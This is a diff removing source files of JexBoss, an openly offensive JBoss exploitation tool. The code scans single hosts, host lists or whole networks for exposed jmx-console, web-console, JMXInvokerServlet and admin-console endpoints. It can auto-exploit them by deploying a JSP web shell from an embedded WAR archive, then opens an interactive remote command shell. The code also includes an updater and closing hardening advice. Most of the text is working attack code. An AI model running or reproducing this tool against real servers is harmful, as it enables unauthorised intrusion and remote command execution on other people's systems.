"\x91\xa3\x4b\xf7\x18\x4b\x78\x8b\x53\x65\xa4\xb8\xf6\xde\xfa\xd6\xff\xd1\x51"
|
||||
"\x53\xfe\xb1\xbd\x46\x06\xab\xe8\x06\x88\xba\xb2\x39\xf2\x10\xae\x25\xe0\x61"
|
||||
"\xc9\x43\xd4\xc9\x99\x5b\xc5\x5b\xf6\x39\x9b\x54\x44\xe3\xdd\xd9\x39\xfa\x2b"
|
||||
"\x15\x55\x94\x69\x53\xe0\xe2\xcf\xa9\x14\x73\x6d\x78\xaa\x0b\x78\x1d\x27\x3b"
|
||||
"\x39\x56\x62\xca\x2a\x67\x37\xb1\x12\x14\x59\xbf\x73\x8b\xf5\xd3\x0d\xe6\x58"
|
||||
"\x2d\xa3\xc6\x90\xae\x31\x79\xa5\x5d\xca\x68\x00\xcc\x59\xd5\x75\x11\x57\xd0"
|
||||
"\xbf\x02\xd1\x0d\x65\x02\x60\x7d\xbb\xfd\xf8\xe4\x3a\xf7\xff\xa9\xdd\x1d\x95"
|
||||
"\xf7\xfa\x5a\x2a\x74\x88\xc5\xf6\x94\xcc\xf6\x2a\x79\x3e\x90\x29\xb8\xf3\x07"
|
||||
"\xb4\xcb\x46\x8c\x71\xe6\xf1\xf3\xcc\xe6\x21\x99\xdf\x15\x10\x63\xf3\xc5\xd8"
|
||||
"\x79\xfc\xbb\xaa\x6b\x65\x9e\x85\x76\x7a\xf1\xcb\xbf\x50\x4b\x07\x08\x25\x39"
|
||||
"\x60\x50\x70\x03\x00\x00\x7a\x07\x00\x00\x50\x4b\x01\x02\x14\x00\x14\x00\x08"
|
||||
"\x08\x08\x00\x6d\x7c\x98\x48\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x09\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4d"
|
||||
"\x45\x54\x41\x2d\x49\x4e\x46\x2f\xfe\xca\x00\x00\x50\x4b\x01\x02\x14\x00\x14"
|
||||
"\x00\x08\x08\x08\x00\x6d\x7c\x98\x48\x05\xa0\x0e\xbc\x43\x00\x00\x00\x44\x00"
|
||||
"\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3d\x00\x00"
|
||||
"\x00\x4d\x45\x54\x41\x2d\x49\x4e\x46\x2f\x4d\x41\x4e\x49\x46\x45\x53\x54\x2e"
|
||||
"\x4d\x46\x50\x4b\x01\x02\x14\x00\x14\x00\x08\x08\x08\x00\x68\x7c\x98\x48\x25"
|
||||
"\x39\x60\x50\x70\x03\x00\x00\x7a\x07\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\xc2\x00\x00\x00\x6a\x65\x78\x77\x73\x33\x2e\x6a\x73"
|
||||
"\x70\x50\x4b\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00\xb5\x00\x00\x00\x6a\x04"
|
||||
"\x00\x00\x00\x00")
|
||||
|
||||
data = get_boundary_admin_console(jboss_version=6, state=state, payload=payload)
|
||||
try:
|
||||
r = pool.request('POST', url + "/admin-console/secure/resourceContentCreate.seam", headers=headers,body=data)
|
||||
if r.status != 302:
|
||||
data = get_boundary_admin_console(jboss_version=5, state=state, payload=payload)
|
||||
r = pool.request('POST', url + "/admin-console/secure/resourceContentCreate.seam", headers=headers, body=data)
|
||||
except:
|
||||
sleep(1)
|
||||
|
||||
return get_successfully(url, "/jexws3/jexws3.jsp")
|
||||
|
||||
else:
|
||||
print(RED + "\n * Authentication failed!" + ENDC)
|
||||
return 404
|
||||
|
|
@ -1,137 +0,0 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
Module for managing updates to the JexBoss
|
||||
https://github.com/joaomatosf/jexboss
|
||||
|
||||
Copyright 2013 João Filho Matos Figueiredo
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
"""
|
||||
|
||||
RED = '\x1b[91m'
|
||||
RED1 = '\033[31m'
|
||||
BLUE = '\033[94m'
|
||||
GREEN = '\033[32m'
|
||||
BOLD = '\033[1m'
|
||||
NORMAL = '\033[0m'
|
||||
ENDC = '\033[0m'
|
||||
|
||||
from jexboss import __version
|
||||
from sys import version_info
|
||||
import os
|
||||
import shutil
|
||||
from zipfile import ZipFile
|
||||
try:
|
||||
from urllib3 import disable_warnings, PoolManager
|
||||
from urllib3.util.timeout import Timeout
|
||||
disable_warnings()
|
||||
except ImportError:
|
||||
print(RED1 + BOLD + "\n * Package urllib3 not installed. Please install the dependencies before continue.\n"
|
||||
"" + GREEN + " Example: \n"
|
||||
" # pip install -r requires.txt\n" + ENDC)
|
||||
exit(0)
|
||||
|
||||
timeout = Timeout(connect=3.0, read=6.0)
|
||||
pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE')
|
||||
|
||||
|
||||
|
||||
|
||||
def auto_update():
|
||||
"""
|
||||
Download and deploy the latest version
|
||||
:return: True if successfully updated
|
||||
"""
|
||||
url = 'https://github.com/joaomatosf/jexboss/archive/master.zip'
|
||||
|
||||
# backup of prior version
|
||||
if os.path.exists('old_version'):
|
||||
shutil.rmtree('old_version')
|
||||
shutil.copytree(".", "." + os.path.sep + "old_version")
|
||||
|
||||
# download and extract of new version
|
||||
print(GREEN + " * Downloading the new version from %s." %url +ENDC )
|
||||
r = pool.request('GET', url)
|
||||
if r.status != 200:
|
||||
print(RED + " * Error: Could not complete the download of the new version. Check your internet connection." + ENDC)
|
||||
return False
|
||||
with open('master.zip', 'wb') as f:
|
||||
f.write(r.data)
|
||||
z = ZipFile('master.zip', 'r')
|
||||
print(GREEN + " * Extracting new version..." +ENDC)
|
||||
z.extractall(path='.')
|
||||
z.close()
|
||||
os.remove('master.zip')
|
||||
path_new_version = '.' + os.path.sep + 'jexboss-master'
|
||||
print(GREEN + " * Replacing the current version with the new version..." + ENDC)
|
||||
for root, dirs, files in os.walk(path_new_version):
|
||||
for file in files:
|
||||
old_path = root.replace(path_new_version, '.') + os.path.sep
|
||||
old_file = root.replace(path_new_version, '.') + os.path.sep + file
|
||||
new_file = os.path.join(root, file)
|
||||
|
||||
if not os.path.exists(old_path):
|
||||
os.makedirs(old_path)
|
||||
|
||||
shutil.move(new_file, old_file)
|
||||
# remove extracted directory of the new version
|
||||
shutil.rmtree('.'+os.path.sep+'jexboss-master')
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def check_updates():
|
||||
"""
|
||||
Checks if there is new version available
|
||||
:return: boolean if there updates
|
||||
"""
|
||||
url = 'http://joaomatosf.com/rnp/releases.txt'
|
||||
print(BLUE + " * Checking for updates in: %s **\n" % url + ENDC)
|
||||
header = {"User-Agent": "Checking for updates"}
|
||||
r = pool.request('GET', url, redirect=False, headers=header)
|
||||
|
||||
if r.status != 200:
|
||||
print(RED + " * Error: could not check for updates ...\n" + ENDC)
|
||||
return False
|
||||
else:
|
||||
current_version = __version
|
||||
link = 'https://github.com/joaomatosf/jexboss/archive/master.zip'
|
||||
date_last_version = ''
|
||||
notes = []
|
||||
# search for new versions
|
||||
resp = str(r.data).replace('\\n','\n')
|
||||
for line in resp.split('\n'):
|
||||
if "#" in line:
|
||||
continue
|
||||
if 'last_version' in line:
|
||||
last_version = line.split()[1]
|
||||
elif 'date:' in line:
|
||||
date_last_version = line.split()[1]
|
||||
elif 'link:' in line:
|
||||
link = line
|
||||
elif '* ' in line:
|
||||
notes.append(line)
|
||||
elif 'version:' in line and 'last_' not in line:
|
||||
break
|
||||
# compare last_version with current version
|
||||
tup = lambda x: [int(y) for y in (x + '.0.0.0').split('.')][:3]
|
||||
if tup(last_version) > tup(current_version):
|
||||
print (
|
||||
GREEN + BOLD + " * NEW VERSION AVAILABLE: JexBoss v%s (%s)\n" % (last_version, date_last_version) + ENDC +
|
||||
GREEN + " * Link: %s\n" % link +
|
||||
GREEN + " * Release notes:")
|
||||
for note in notes:
|
||||
print (" %s" % note)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 116 KiB |
|
|
@ -1,544 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
JexBoss: Jboss verify and EXploitation Tool
|
||||
https://github.com/joaomatosf/jexboss
|
||||
|
||||
Copyright 2013 João Filho Matos Figueiredo
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
"""
|
||||
import textwrap
|
||||
import traceback
|
||||
|
||||
|
||||
RED = '\x1b[91m'
|
||||
RED1 = '\033[31m'
|
||||
BLUE = '\033[94m'
|
||||
GREEN = '\033[32m'
|
||||
BOLD = '\033[1m'
|
||||
NORMAL = '\033[0m'
|
||||
ENDC = '\033[0m'
|
||||
|
||||
__author__ = "João Filho Matos Figueiredo <joaomatosf@gmail.com>"
|
||||
__version = "1.0.12"
|
||||
|
||||
from sys import argv, exit, version_info
|
||||
|
||||
if version_info[0] == 2 and version_info[1] < 7:
|
||||
print(RED1 + BOLD + "\n * You are using the Python version 2.6. The JexBoss requires version >= 2.7.\n"
|
||||
"" + GREEN + " Please install the Python version >= 2.7. \n\n"
|
||||
" Example for CentOS using Software Collections scl:\n"
|
||||
" # yum -y install centos-release-scl\n"
|
||||
" # yum -y install python27\n"
|
||||
" # scl enable python27 bash\n" + ENDC)
|
||||
exit(0)
|
||||
|
||||
import signal
|
||||
from _exploits import *
|
||||
from _updates import *
|
||||
from os import name, system
|
||||
import os
|
||||
import shutil
|
||||
from zipfile import ZipFile
|
||||
from time import sleep
|
||||
from random import randint
|
||||
import argparse, socket
|
||||
|
||||
|
||||
try:
|
||||
from urllib.parse import urlencode
|
||||
except ImportError:
|
||||
from urllib import urlencode
|
||||
|
||||
try:
|
||||
from urllib3.util import parse_url
|
||||
from urllib3 import disable_warnings, PoolManager
|
||||
from urllib3.util.timeout import Timeout
|
||||
except ImportError:
|
||||
print(RED1 + BOLD + "\n * Package urllib3 not installed. Please install the dependencies before continue.\n"
|
||||
"" + GREEN + " Example: \n"
|
||||
" # pip install -r requires.txt\n" + ENDC)
|
||||
exit(0)
|
||||
|
||||
try:
|
||||
import ipaddress
|
||||
except:
|
||||
print(RED1 + BOLD + "\n * Package ipaddress not installed. Please install the dependencies before continue.\n"
|
||||
"" + GREEN + " Example: \n"
|
||||
" # pip install -r requires.txt\n" + ENDC)
|
||||
exit(0)
|
||||
|
||||
from urllib3 import disable_warnings, PoolManager
|
||||
from urllib3.util.timeout import Timeout
|
||||
|
||||
disable_warnings()
|
||||
|
||||
timeout = Timeout(connect=3.0, read=6.0)
|
||||
pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE')
|
||||
|
||||
global gl_interrupted
|
||||
gl_interrupted = False
|
||||
|
||||
user_agents = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
|
||||
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
|
||||
"Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)",
|
||||
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0",
|
||||
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36",
|
||||
"Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
|
||||
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"]
|
||||
|
||||
global gl_args
|
||||
|
||||
|
||||
def handler_interrupt(signum, frame):
|
||||
global gl_interrupted
|
||||
gl_interrupted = True
|
||||
print ("Interrupting execution ...")
|
||||
|
||||
signal.signal(signal.SIGINT, handler_interrupt)
|
||||
|
||||
def get_successfully(url, path):
|
||||
"""
|
||||
Test if a GET to a URL is successful
|
||||
:param url: The base URL
|
||||
:param path: The URL path
|
||||
:return: The HTTP status code
|
||||
"""
|
||||
sleep(5)
|
||||
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}
|
||||
r = pool.request('GET', url + path, redirect=False, headers=headers)
|
||||
result = r.status
|
||||
if result == 404:
|
||||
sleep(7)
|
||||
r = pool.request('GET', url + path, redirect=False, headers=headers)
|
||||
result = r.status
|
||||
return result
|
||||
|
||||
|
||||
def check_connectivity(host, port):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(2)
|
||||
s.connect((str(host), int(port)))
|
||||
s.close()
|
||||
except socket.timeout:
|
||||
return False
|
||||
except:
|
||||
return False
|
||||
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def check_vul(url):
|
||||
"""
|
||||
Test if a GET to a URL is successful
|
||||
:param url: The URL to test
|
||||
:return: A dict with the exploit type as the keys, and the HTTP status code as the value
|
||||
"""
|
||||
if gl_args.mode == 'auto-scan' or gl_args.mode == 'file-scan':
|
||||
timeout = Timeout(connect=1.0, read=3.0)
|
||||
pool = PoolManager(timeout=timeout, retries=1, cert_reqs='CERT_NONE')
|
||||
else:
|
||||
timeout = Timeout(connect=3.0, read=6.0)
|
||||
pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE')
|
||||
|
||||
url_check = parse_url(url)
|
||||
if '443' in str(url_check.port) and url_check.scheme != 'https':
|
||||
url = "https://"+str(url_check.host)+":"+str(url_check.port)
|
||||
|
||||
print(GREEN + "\n ** Checking Host: %s **\n" % url)
|
||||
|
||||
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}
|
||||
|
||||
paths = {"jmx-console": "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
|
||||
"web-console" : "/web-console/ServerInfo.jsp",
|
||||
"JMXInvokerServlet": "/invoker/JMXInvokerServlet",
|
||||
"admin-console" : "/admin-console/"}
|
||||
|
||||
for i in paths.keys():
|
||||
if gl_interrupted: break
|
||||
try:
|
||||
print(GREEN + " * Checking %s: \t" % i + ENDC),
|
||||
r = pool.request('HEAD', url +str(paths[i]), redirect=False, headers=headers)
|
||||
paths[i] = r.status
|
||||
|
||||
# check if it's false positive
|
||||
if len(r.getheaders()) == 0:
|
||||
print(RED + "[ ERROR ]\n * The server %s is not an HTTP server.\n" % url + ENDC)
|
||||
paths = {"jmx-console": 505,
|
||||
"web-console": 505,
|
||||
"JMXInvokerServlet": 505,
|
||||
"admin-console": 505}
|
||||
break
|
||||
|
||||
if paths[i] in (301, 302, 303, 307, 308):
|
||||
url_redirect = r.get_redirect_location()
|
||||
print(GREEN + "[ REDIRECT ]\n * The server sent a redirect to: %s\n" % url_redirect)
|
||||
elif paths[i] == 200 or paths[i] == 500:
|
||||
if i == "admin-console":
|
||||
print(RED + "[ EXPOSED ]" + ENDC)
|
||||
else:
|
||||
print(RED + "[ VULNERABLE ]" + ENDC)
|
||||
else:
|
||||
print(GREEN + "[ OK ]")
|
||||
except:
|
||||
print(RED + "\n * An error occurred while connecting to the host %s\n" % url + ENDC)
|
||||
paths[i] = 505
|
||||
|
||||
return paths
|
||||
|
||||
def auto_exploit(url, exploit_type):
|
||||
"""
|
||||
Automatically exploit a URL
|
||||
:param url: The URL to exploit
|
||||
:param exploit_type: One of the following
|
||||
exploitJmxConsoleFileRepository: tested and working in JBoss 4 and 5
|
||||
exploitJmxConsoleMainDeploy: tested and working in JBoss 4 and 6
|
||||
exploitWebConsoleInvoker: tested and working in JBoss 4
|
||||
exploitJMXInvokerFileRepository: tested and working in JBoss 4 and 5
|
||||
exploitAdminConsole: tested and working in JBoss 5 and 6 (with default password)
|
||||
"""
|
||||
print(GREEN + "\n * Sending exploit code to %s. Please wait...\n" % url)
|
||||
result = 505
|
||||
if exploit_type == "jmx-console":
|
||||
result = exploit_jmx_console_file_repository(url)
|
||||
if result != 200 and result != 500:
|
||||
result = exploit_jmx_console_main_deploy(url)
|
||||
elif exploit_type == "web-console":
|
||||
result = exploit_web_console_invoker(url)
|
||||
elif exploit_type == "JMXInvokerServlet":
|
||||
result = exploit_jmx_invoker_file_repository(url, 0)
|
||||
if result != 200 and result != 500:
|
||||
result = exploit_jmx_invoker_file_repository(url, 1)
|
||||
elif exploit_type == "admin-console":
|
||||
result = exploit_admin_console(url)
|
||||
|
||||
if result == 200 or result == 500:
|
||||
if not gl_args.auto_exploit:
|
||||
print(GREEN + " * Successfully deployed code! Starting command shell. Please wait...\n" + ENDC)
|
||||
shell_http(url, exploit_type)
|
||||
else:
|
||||
print(GREEN + " * Successfully deployed code via vector %s\n *** Run JexBoss in Standalone mode to open command shell. ***" %(exploit_type) + ENDC)
|
||||
return True
|
||||
else:
|
||||
print(RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n" +
|
||||
" Waiting for 7 seconds...\n " + ENDC)
|
||||
if gl_args.mode == 'standalone':
|
||||
sleep(7)
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
||||
def shell_http(url, shell_type):
|
||||
"""
|
||||
Connect to an HTTP shell
|
||||
:param url: The URL to connect to
|
||||
:param shell_type: The type of shell to connect to
|
||||
"""
|
||||
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Connection": "keep-alive",
|
||||
"User-Agent": user_agents[randint(0, len(user_agents) - 1)]}
|
||||
|
||||
if gl_args.disable_check_updates:
|
||||
headers['check-updates'] = 'false'
|
||||
|
||||
if shell_type == "jmx-console" or shell_type == "web-console" or shell_type == "admin-console":
|
||||
path = '/jexws3/jexws3.jsp?'
|
||||
elif shell_type == "JMXInvokerServlet":
|
||||
path = '/jexinv3/jexinv3.jsp?'
|
||||
|
||||
pool.request('GET', url+ path, redirect=False, headers=headers)
|
||||
|
||||
sleep(7)
|
||||
resp = ""
|
||||
print(" * - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - * \n")
|
||||
print(RED + " * " + url + ": \n" + ENDC)
|
||||
|
||||
for cmd in ['uname -a', 'cat /etc/issue', 'id']:
|
||||
cmd = urlencode({"ppp": cmd})
|
||||
r = pool.request('GET', url + path + cmd, redirect=False, headers=headers)
|
||||
resp += " " + str(r.data).split(">")[1]
|
||||
print(resp.replace('\\n', '\n')),
|
||||
|
||||
while 1:
|
||||
print(BLUE + "[Type commands or \"exit\" to finish]")
|
||||
cmd = input("Shell> " + ENDC) if version_info[0] >= 3 else raw_input("Shell> " + ENDC)
|
||||
if cmd == "exit":
|
||||
break
|
||||
|
||||
cmd = urlencode({"ppp": cmd})
|
||||
r = pool.request('GET', url + path + cmd, redirect=False, headers=headers)
|
||||
resp = str(r.data)
|
||||
if r.status == 404:
|
||||
print(RED + " * Error contacting the command shell. Try again later...")
|
||||
continue
|
||||
stdout = ""
|
||||
try:
|
||||
stdout = resp.split("pre>")[1]
|
||||
except:
|
||||
print(RED + " * Error contacting the command shell. Try again later...")
|
||||
if stdout.count("An exception occurred processing JSP page") == 1:
|
||||
print(RED + " * Error executing command \"%s\". " % cmd.split("=")[1] + ENDC)
|
||||
else:
|
||||
print(stdout.replace('\\n', '\n'))
|
||||
|
||||
def clear():
|
||||
"""
|
||||
Clears the console
|
||||
"""
|
||||
if name == 'posix':
|
||||
system('clear')
|
||||
elif name == ('ce', 'nt', 'dos'):
|
||||
system('cls')
|
||||
|
||||
def banner():
|
||||
"""
|
||||
Print the banner
|
||||
"""
|
||||
clear()
|
||||
print(RED1 + "\n * --- JexBoss: Jboss verify and EXploitation Tool --- *\n"
|
||||
" | |\n"
|
||||
" | @author: João Filho Matos Figueiredo |\n"
|
||||
" | @contact: joaomatosf@gmail.com |\n"
|
||||
" | |\n"
|
||||
" | @update: https://github.com/joaomatosf/jexboss |\n"
|
||||
" #______________________________________________________#\n")
|
||||
print(RED1 + " @version: %s\n"%__version )
|
||||
|
||||
print (ENDC)
|
||||
|
||||
def help_usage():
|
||||
usage = (BOLD + BLUE + "\n Examples:\n" + ENDC +
|
||||
BLUE + "\n For simple usage, you must provide the host name or IP address you want to test:" +
|
||||
GREEN + "\n\n $ python jexboss.py -host https://site.com.br" +
|
||||
BLUE + "\n\n For auto scan mode, you must provide the network in CIDR format, list of ports and filename for store results:" +
|
||||
GREEN + "\n\n $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log" +
|
||||
BLUE + "\n\n For file scan mode, you must provide the filename with host list to be scanned (one host per line)and filename for store results:" +
|
||||
GREEN + "\n\n $ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log" + ENDC)
|
||||
return usage
|
||||
|
||||
def network_args(string):
|
||||
try:
|
||||
if version_info[0] >= 3:
|
||||
value = ipaddress.ip_network(string)
|
||||
else:
|
||||
value = ipaddress.ip_network(unicode(string))
|
||||
except:
|
||||
msg = "%s is not a network address in CIDR format." % string
|
||||
raise argparse.ArgumentTypeError(msg)
|
||||
return value
|
||||
|
||||
def main():
|
||||
"""
|
||||
Run interactively. Call when the module is run by itself.
|
||||
:return: Exit code
|
||||
"""
|
||||
# check for Updates
|
||||
updates = check_updates()
|
||||
if updates:
|
||||
print(BLUE + BOLD + "\n\n * An update is available and is recommended update before continuing.\n" +
|
||||
" Do you want to update now?")
|
||||
pick = input(" YES/no ? ").lower() if version_info[0] >= 3 else raw_input(" YES/no ? ").lower()
|
||||
print (ENDC)
|
||||
if pick != "no":
|
||||
updated = auto_update()
|
||||
if updated:
|
||||
print(GREEN + BOLD + "\n * The JexBoss has been successfully updated. Please run again to enjoy the updates.\n" +ENDC)
|
||||
exit(0)
|
||||
else:
|
||||
print(RED + BOLD + "\n\n * An error occurred while updating the JexBoss. Please try again..\n" +ENDC)
|
||||
exit(1)
|
||||
|
||||
vulnerables = False
|
||||
# check vulnerabilities for standalone mode
|
||||
if gl_args.mode == 'standalone':
|
||||
url = gl_args.host
|
||||
scan_results = check_vul(url)
|
||||
# performs exploitation
|
||||
for i in ["jmx-console", "web-console", "JMXInvokerServlet", "admin-console"]:
|
||||
if scan_results[i] == 200 or scan_results[i] == 500:
|
||||
vulnerables = True
|
||||
if gl_args.auto_exploit:
|
||||
auto_exploit(url, i)
|
||||
else:
|
||||
print(BLUE + "\n\n * Do you want to try to run an automated exploitation via \"" +
|
||||
BOLD + i + NORMAL + "\" ?\n" +
|
||||
" This operation will provide a simple command shell to execute commands on the server..\n" +
|
||||
RED + " Continue only if you have permission!" + ENDC)
|
||||
pick = input(" yes/NO ? ").lower() if version_info[0] >= 3 else raw_input(" yes/NO ? ").lower()
|
||||
if pick == "yes":
|
||||
auto_exploit(url, i)
|
||||
# check vulnerabilities for auto scan mode
|
||||
elif gl_args.mode == 'auto-scan':
|
||||
file_results = open(gl_args.results, 'w')
|
||||
file_results.write("JexBoss Scan Mode Report\n\n")
|
||||
for ip in gl_args.network.hosts():
|
||||
if gl_interrupted: break
|
||||
for port in gl_args.ports.split(","):
|
||||
if check_connectivity(ip, port):
|
||||
url = "{0}:{1}".format(ip,port)
|
||||
ip_results = check_vul(url)
|
||||
for key in ip_results.keys():
|
||||
if ip_results[key] == 200 or ip_results[key] == 500:
|
||||
vulnerables = True
|
||||
if gl_args.auto_exploit:
|
||||
result_exploit = auto_exploit(url, key)
|
||||
if result_exploit:
|
||||
file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key))
|
||||
else:
|
||||
file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key))
|
||||
else:
|
||||
file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key))
|
||||
|
||||
file_results.flush()
|
||||
else:
|
||||
print (RED+"\n * Host %s:%s does not respond."% (ip,port)+ENDC)
|
||||
file_results.close()
|
||||
|
||||
elif gl_args.mode == 'file-scan':
|
||||
file_results = open(gl_args.out, 'w')
|
||||
file_results.write("JexBoss Scan Mode Report\n\n")
|
||||
file_input = open(gl_args.file, 'r')
|
||||
for url in file_input.readlines():
|
||||
if gl_interrupted: break
|
||||
url = url.strip()
|
||||
ip = str(parse_url(url)[2])
|
||||
port = parse_url(url)[3] if parse_url(url)[3] != None else 80
|
||||
if check_connectivity(ip, port):
|
||||
url_results = check_vul(url)
|
||||
for key in url_results.keys():
|
||||
if url_results[key] == 200 or url_results[key] == 500:
|
||||
vulnerables = True
|
||||
if gl_args.auto_exploit:
|
||||
result_exploit = auto_exploit(url, key)
|
||||
if result_exploit:
|
||||
file_results.write("{0}:\t[EXPLOITED VIA {1}]\n".format(url, key))
|
||||
else:
|
||||
file_results.write("{0}:\t[FAILED TO EXPLOITED VIA {1}]\n".format(url, key))
|
||||
else:
|
||||
file_results.write("{0}:\t[POSSIBLY VULNERABLE TO {1}]\n".format(url, key))
|
||||
|
||||
file_results.flush()
|
||||
else:
|
||||
print (RED + "\n * Host %s:%s does not respond." % (ip, port) + ENDC)
|
||||
file_results.close()
|
||||
|
||||
# resume results
|
||||
if vulnerables:
|
||||
banner()
|
||||
print(RED + BOLD+" Results: potentially compromised server!" + ENDC)
|
||||
if gl_args.mode == 'file-scan':
|
||||
print(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.out) + ENDC)
|
||||
elif gl_args.mode == 'auto-scan':
|
||||
print(RED + BOLD + " ** Check more information on file {0} **".format(gl_args.results) + ENDC)
|
||||
print(GREEN + " * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n"
|
||||
+BOLD+ " Recommendations: \n" +ENDC+
|
||||
GREEN+ " - Remove web consoles and services that are not used, eg:\n"
|
||||
" $ rm web-console.war\n"
|
||||
" $ rm http-invoker.sar\n"
|
||||
" $ rm jmx-console.war\n"
|
||||
" $ rm jmx-invoker-adaptor-server.sar\n"
|
||||
" $ rm admin-console.war\n"
|
||||
" - Use a reverse proxy (eg. nginx, apache, F5)\n"
|
||||
" - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n"
|
||||
" - Search vestiges of exploitation within the directories \"deploy\" and \"management\".\n\n"
|
||||
" References:\n"
|
||||
" [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n"
|
||||
" [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n"
|
||||
"\n"
|
||||
" - If possible, discard this server!\n"
|
||||
" * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n")
|
||||
else:
|
||||
print(GREEN + "\n\n * Results: \n" +
|
||||
" The server is not vulnerable to bugs tested ... :D\n\n" + ENDC)
|
||||
# infos
|
||||
print(ENDC + " * Info: review, suggestions, updates, etc: \n" +
|
||||
" https://github.com/joaomatosf/jexboss\n")
|
||||
|
||||
print(GREEN + BOLD + " * DONATE: " + ENDC + "Please consider making a donation to help improve this tool,\n"
|
||||
" including research to new versions of JBoss and zero days. \n\n" +
|
||||
GREEN + BOLD + " * Paypal: " + ENDC + " joaomatosf@gmail.com \n" +
|
||||
GREEN + BOLD + " * Bitcoin Address: " + ENDC + " 14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C \n" +
|
||||
GREEN + BOLD + " * URI: " + ENDC + " bitcoin:14x4niEpfp7CegBYr3tTzTn4h6DAnDCD9C?label=jexboss\n")
|
||||
|
||||
|
||||
print(ENDC)
|
||||
|
||||
banner()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
#description="JexBoss v%s: JBoss verify and EXploitation Tool" %__version,
|
||||
description=textwrap.dedent(RED1 + "\n * --- JexBoss: Jboss verify and EXploitation Tool --- *\n"
|
